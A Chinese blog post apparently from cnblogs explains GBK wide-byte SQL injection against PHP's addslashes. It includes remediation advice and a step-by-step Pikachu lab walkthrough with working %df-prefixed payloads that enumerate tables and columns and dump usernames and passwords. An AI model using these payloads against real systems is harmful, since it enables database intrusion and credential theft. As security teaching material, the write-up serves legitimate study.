首页 > 数据库 >SQL注入(宽字节注入)

SQL注入(宽字节注入)

时间:2023-04-26 11:44:34浏览次数:32  
标签:schema name df union SQL table 注入 select 字节

宽字节注入原理
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;

%5c被吃掉了,单引号由此逃逸可以用来闭合语句。

使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生

修复建议:

(1)使用mysqli_set_charset(GBK)指定字符集

(2)使用mysqli_real_escape_string进行转义

1.  构建pyload

name=kobe%df’ or 1=1#

单引号因为PHP中使用addslashes函数,被转义为\’,编码后就是%5c%27
加上pyload中的%df 后,就是 %df%5c%27 ,然后MySQL在使用GBK编码的时候,会认为两个字符为一个汉字, %df%5c就被解析为一个汉字,%27也就是单引号就成功逃逸了,成功实现闭合,后面就可以通过or 来执行语句了。
2.  想判断一下是否有回显,然后用order by一直说用户名错误,看来应该不能用order by来判断,因为正常回显的情况下有用户id和email两项,我们直接用union select试一下    name=kobe%df’ union select 1,2#

 有回显,那剩下的就是走流程了
查询数据库

 3。  查询表名  name=kobe%df’ union select 1,table_name from information_schema.tables where table_schema=‘pikachu’#

4. 

发现没有查询成功,返回去看了一下,发现pyload里面有单引号,而在宽字节注入里面单引号是会被转义的,这里面的单引号也不能用之前的方法逃逸了,否则语句无法执行。

为了避免使用引号,采用嵌套查询

name=kobe%df’ union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#

5.  查询users的列名

name=kobe%df’ union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#
6.  查询password

name=kobe%df’ union select (select group_concat(username,0x3b,password) from users),2#      ps:这里的0x3b 指的是Hex(十六进制表;的意思,结尾的2,为开始union select 1,2#的2)

标签:schema,name,df,union,SQL,table,注入,select,字节
From: https://www.cnblogs.com/aidy/p/17355178.html

相关文章

  • PGSQL系统表之 pg_class 记载表和几乎所有有字段或者是那些类似表的东西
     pg_classpg_class表记载表和几乎所有有字段或者是那些类似表的东西。包括索引(不过还要参阅pg_index)、序列、视图、物化视图、复合类型和一些特殊关系类型;参阅relkind。在下面,当指所有这些对象的时候说"关系"(relations)。不是所有字段对所有关系类型都有意义。表47-11......
  • node同步查询数据库(mysql)
    mysql模块默认异步操作,在写一些简单脚本时会比较痛苦,可以通过async/await和Promise封装成同步操作asyncfunctionquery(connection,sql){returnnewPromise((resolve,reject)=>{connection.query(sql,function(error,results){if(error)reject(resu......
  • sql数据库连接
    前言作为数据存储的数据库,近年来发展飞快,在早期的程序自我存储到后面的独立出中间件服务,再到集群,不可谓不快了。早期的sql数据库一枝独秀,到后面的Nosql,还有azure安全,五花八门,教人学不过来阿。一mysql数据库的golang操作针对数据库操作,往往需要安装实体数据库和对应的数据库驱......
  • MySQL主从复制Slave_IO_Running为No
    主要记录解决问题的过程,为以后发现类似问题提供解决方法的参考。首先查看从机的mysql日志文件:tail/var/log/mysqld.log日志从上往下看,可以很快看到在中间位置上有一个ERROR的标志,后面写得很清楚,我的主机UUID和从机UUID重复了,而这两个UUID在这里要求必须要不相等的,所以我上面......
  • sqlmap挂代理走burp
    参考:sqlmap的两种挂代理方式_sqlmap--proxy_杰尼龟会呲水的博客-CSDN博客......
  • SQL查询:优化注意事项
    DISTINCT:过滤掉多余的重复记录只保留一条,效率低;和ORDERBY结合使用可以提高效率;可以用GROUPBY替代。IN与EXISTS:IN适合指定常量列表,EXISTS适合用于判断在另一张表中是否存在指定值。IN适合内外表都很大的情况,EXISTS适合外表结果集很小的情况;NOTIN用(外连接+判断为空)方案......
  • [SQL Server 2008R2] 有关于判断表、字段、存过等元素是否存在相关SQL写法
    表相关普通表查询普通表是否存在可以使用object_id函数,下面的例子是查询表“t_test”是否存在之后从而进行其他的DLL操作:ifobject_id('t_test')isnotnullbegin--如果表存在这段里面写相关逻辑select1end 临时表临时表同样可以用object_id但......
  • MySQL数据类型
     DB哥MySQL高级教程-系统学习MySQL共149课时关注微信公众号免费学:【DB哥】文末有MySQL高级课程目录1、MySQL数据类型MySQL支持多种类型,大致可以分为三类:数值、日期/时间和字符串(字符)类型。 1.2、mysql中编码和字符在mysql中,一个中文汉字所占的字节数与编码格式有......
  • Spring注入接口,接口多个实现类调用哪个实现类的三种方案
    https://blog.csdn.net/JingXu1114/article/details/124747047代码所示:···@AutowiredUserServiceuserService···在这个接口有多个实现类的情况下三种方式定义调用实现类:方法1:···`@Autowired UserServiceuserServiceImpl_1`···在变量名中直接写成想要调用......
  • MySQL索引详解
     DB哥MySQL高级教程-系统学习MySQL共149课时加我微信公众号免费学:DB哥文末有MySQL高级课程目录前言因为现在使用的mysql默认存储引擎是Innodb,所以本篇文章重点讲述Innodb下的索引,顺带简单讲述其他引擎。希望小伙伴们能通过这片文章对mysql的索引有更加清晰的认识,废话不多......